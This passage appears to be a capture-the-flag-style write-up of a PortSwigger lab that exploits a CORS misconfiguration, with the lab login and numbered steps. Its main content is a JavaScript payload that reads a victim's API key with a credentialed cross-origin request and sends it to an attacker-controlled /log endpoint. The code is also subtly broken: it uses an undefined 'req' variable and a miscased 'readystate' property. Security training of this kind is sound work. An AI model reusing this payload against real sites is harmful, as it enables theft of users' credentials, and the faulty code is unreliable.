wiener:peter
wiener:peter
/accountDetails
request4. Observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.
5. Now, go to the exploit server and type the Following payload with your LAB-ID
<script>
var xhr= new XMLHttpRequest();
var url = "https://YOUR_LAB_ID.web-security-academy.net" req.onreadystatechange = function() {
if (xhr.readystate == XMLHttpRequest.DONE){
fetch("/log?key=" + xhr.responseText)
}
}
xhr.open('GET', url + "/accountDetails", true);
xhr.withCredentials = true;
xhr.send(null)
</script>
6. View and Deliver Exploit to the Victim
7. Now you will get the API key of the Victim, Submit the key in the solution to solve the Lab
Feel Free to Ask Queries via LinkedIn and to Buy me a Cofee : )
Thank you for Reading!!
Happy Hunting ~
Author : karthikeyan Nagaraj ~ Cyberw1ng